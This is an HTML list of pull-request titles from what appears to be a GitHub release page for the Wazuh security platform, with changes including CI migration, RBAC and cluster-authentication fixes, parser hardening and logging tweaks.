<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.7] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692374310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37011" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37011/hovercard" href="https://github.com/wazuh/wazuh/pull/37011">#37011</a></li>
<li>fix: correct blob URL refs for release branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718016446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37046" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37046/hovercard" href="https://github.com/wazuh/wazuh/pull/37046">#37046</a></li>
<li>Use restricted wazuh-server user for Manager Indexer authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724661439" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37061" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37061/hovercard" href="https://github.com/wazuh/wazuh/pull/37061">#37061</a></li>
<li>fix(packages): use wazuh-manager-control in manager init.d scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724166255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37059" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37059/hovercard" href="https://github.com/wazuh/wazuh/pull/37059">#37059</a></li>
<li>fix: Update the unclassified event doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4726479817" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37126" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37126/hovercard" href="https://github.com/wazuh/wazuh/pull/37126">#37126</a></li>
<li>Skip vanished /proc entries during ports scan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650163579" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36859" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36859/hovercard" href="https://github.com/wazuh/wazuh/pull/36859">#36859</a></li>
<li>Fix RBAC permission check to verify allow effect in update_config rules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724800552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37076" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37076/hovercard" href="https://github.com/wazuh/wazuh/pull/37076">#37076</a></li>
<li>Add destination confinement to worker non-merged and extra file sync paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691222179" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36998" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36998/hovercard" href="https://github.com/wazuh/wazuh/pull/36998">#36998</a></li>
<li>Patch cluster authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716191480" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37039" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37039/hovercard" href="https://github.com/wazuh/wazuh/pull/37039">#37039</a></li>
<li>Lower stale-session indexer log to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733981786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37150" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37150/hovercard" href="https://github.com/wazuh/wazuh/pull/37150">#37150</a></li>
<li>Limit recursion depth in XML parser by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733223430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37147" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37147/hovercard" href="https://github.com/wazuh/wazuh/pull/37147">#37147</a></li>
<li>Add status endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696177149" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37022" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37022/hovercard" href="https://github.com/wazuh/wazuh/pull/37022">#37022</a></li>
<li>Add log collectors reference docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721989446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37057" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37057/hovercard" href="https://github.com/wazuh/wazuh/pull/37057">#37057</a></li>
<li>Run the Windows MSI package test on the AWS CodeBuild runner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4738105790" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37165" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37165/hovercard" href="https://github.com/wazuh/wazuh/pull/37165">#37165</a></li>
<li>Remove merged.mg hash cache to fix stale syscollector flush by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720281364" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37048" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37048/hovercard" href="https://github.com/wazuh/wazuh/pull/37048">#37048</a></li>
<li>Enrich MITRE fields with id and names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721520471" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37054" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37054/hovercard" href="https://github.com/wazuh/wazuh/pull/37054">#37054</a></li>
<li>Reduce indexer connection warning noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696113780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37021" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37021/hovercard" href="https://github.com/wazuh/wazuh/pull/37021">#37021</a></li>
<li>Remove deprecated wazuh-dbd daemon by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715728814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37035" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37035/hovercard" href="https://github.com/wazuh/wazuh/pull/37035">#37035</a></li>
<li>Bound decompressed size when processing sync archives by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725313255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37119" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37119/hovercard" href="https://github.com/wazuh/wazuh/pull/37119">#37119</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742531433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37176" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37176/hovercard" href="https://github.com/wazuh/wazuh/pull/37176">#37176</a></li>
<li>Add libcrypt fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a>) to 4.14.6 changelog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743056771" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37178" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37178/hovercard" href="https://github.com/wazuh/wazuh/pull/37178">#37178</a></li>
<li>Delay IndexerDownloader connection warnings until 3 failed attempts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742582733" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37177" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37177/hovercard" href="https://github.com/wazuh/wazuh/pull/37177">#37177</a></li>
<li>Add parameterized target selection to Coverity scan workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4740074465" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37171" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37171/hovercard" href="https://github.com/wazuh/wazuh/pull/37171">#37171</a></li>
<li>Align remoted tier 2 CodeBuild setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735418555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37155" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37155/hovercard" href="https://github.com/wazuh/wazuh/pull/37155">#37155</a></li>
<li>Add rules migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jorgesnchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jorgesnchz">@Jorgesnchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495888102" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36305" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36305/hovercard" href="https://github.com/wazuh/wazuh/pull/36305">#36305</a></li>
<li>Migrate agent Linux/Windows test workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720554249" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37051" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37051/hovercard" href="https://github.com/wazuh/wazuh/pull/37051">#37051</a></li>
<li>Silence spurious keepalive warnings on the Windows agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745531717" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37187" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37187/hovercard" href="https://github.com/wazuh/wazuh/pull/37187">#37187</a></li>
<li>wazuh-engine: Improve log messages and logger by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4688784533" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36995" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36995/hovercard" href="https://github.com/wazuh/wazuh/pull/36995">#36995</a></li>
<li>Set default indexer connector credentials by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746445718" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37192" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37192/hovercard" href="https://github.com/wazuh/wazuh/pull/37192">#37192</a></li>
<li>Fix incorrect snprintf size calculation in winevtchannel decoder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750564321" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37198" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37198/hovercard" href="https://github.com/wazuh/wazuh/pull/37198">#37198</a></li>
<li>Align VD feed-download log levels with indexer consumer state by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750803257" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37199" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37199/hovercard" href="https://github.com/wazuh/wazuh/pull/37199">#37199</a></li>
<li>Recognize renamed indexer consumer status in engine sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4751474129" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37204/hovercard" href="https://github.com/wazuh/wazuh/pull/37204">#37204</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752903836" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37210" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37210/hovercard" href="https://github.com/wazuh/wazuh/pull/37210">#37210</a></li>
<li>Token replacement to avoid permission errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753550212" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37237" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37237/hovercard" href="https://github.com/wazuh/wazuh/pull/37237">#37237</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752941791" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37211" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37211/hovercard" href="https://github.com/wazuh/wazuh/pull/37211">#37211</a></li>
<li>Eliminate TOCTOU races in healthcheck file operations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736827470" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37160" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37160/hovercard" href="https://github.com/wazuh/wazuh/pull/37160">#37160</a></li>
<li>Sca file policy block standardization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Johnng007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Johnng007">@Johnng007</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743999327" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37179" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37179/hovercard" href="https://github.com/wazuh/wazuh/pull/37179">#37179</a></li>
<li>Bind agent index selection and scope deletes by cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735319890" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37154" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37154/hovercard" href="https://github.com/wazuh/wazuh/pull/37154">#37154</a></li>
<li>Add Null Check for Inode and Dev Fields in FIM Whodata Event Handler by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4766388009" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37245" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37245/hovercard" href="https://github.com/wazuh/wazuh/pull/37245">#37245</a></li>
<li>Docs/6764 logcollector whats new 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721987109" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37056" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37056/hovercard" href="https://github.com/wazuh/wazuh/pull/37056">#37056</a></li>
<li>Repair RPM builder toolchain downloads by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728182443" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37130" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37130/hovercard" href="https://github.com/wazuh/wazuh/pull/37130">#37130</a></li>
<li>Add cluster name validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753677014" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37238" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37238/hovercard" href="https://github.com/wazuh/wazuh/pull/37238">#37238</a></li>
<li>Add cluster readiness endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728071822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37129/hovercard" href="https://github.com/wazuh/wazuh/pull/37129">#37129</a></li>
<li>Defer cluster payload buffer allocation until data is received by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769731908" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37280" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37280/hovercard" href="https://github.com/wazuh/wazuh/pull/37280">#37280</a></li>
<li>Indexer connector bulk size and flush interval configurable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736764012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37158" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37158/hovercard" href="https://github.com/wazuh/wazuh/pull/37158">#37158</a></li>
<li>Enable shared-password enrollment by default by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4734529271" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37151" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37151/hovercard" href="https://github.com/wazuh/wazuh/pull/37151">#37151</a></li>
<li>Fix unit test workflow paths and report handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777938328" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37317" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37317/hovercard" href="https://github.com/wazuh/wazuh/pull/37317">#37317</a></li>
<li>Migrate agent + server CI artifacts to S3 — 4.14.7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745105538" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37186" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37186/hovercard" href="https://github.com/wazuh/wazuh/pull/37186">#37186</a></li>
<li>Handle eol amazon inspector classic by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746717311" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37194" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37194/hovercard" href="https://github.com/wazuh/wazuh/pull/37194">#37194</a></li>
<li>Fix wazuh-modulesd missing after macOS agent restart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695257310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37020" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37020/hovercard" href="https://github.com/wazuh/wazuh/pull/37020">#37020</a></li>
<li>Fix test_worker failing unit test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777598945" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37314" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37314/hovercard" href="https://github.com/wazuh/wazuh/pull/37314">#37314</a></li>
<li>Improve log messages  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671655779" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36876" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36876/hovercard" href="https://github.com/wazuh/wazuh/pull/36876">#36876</a></li>
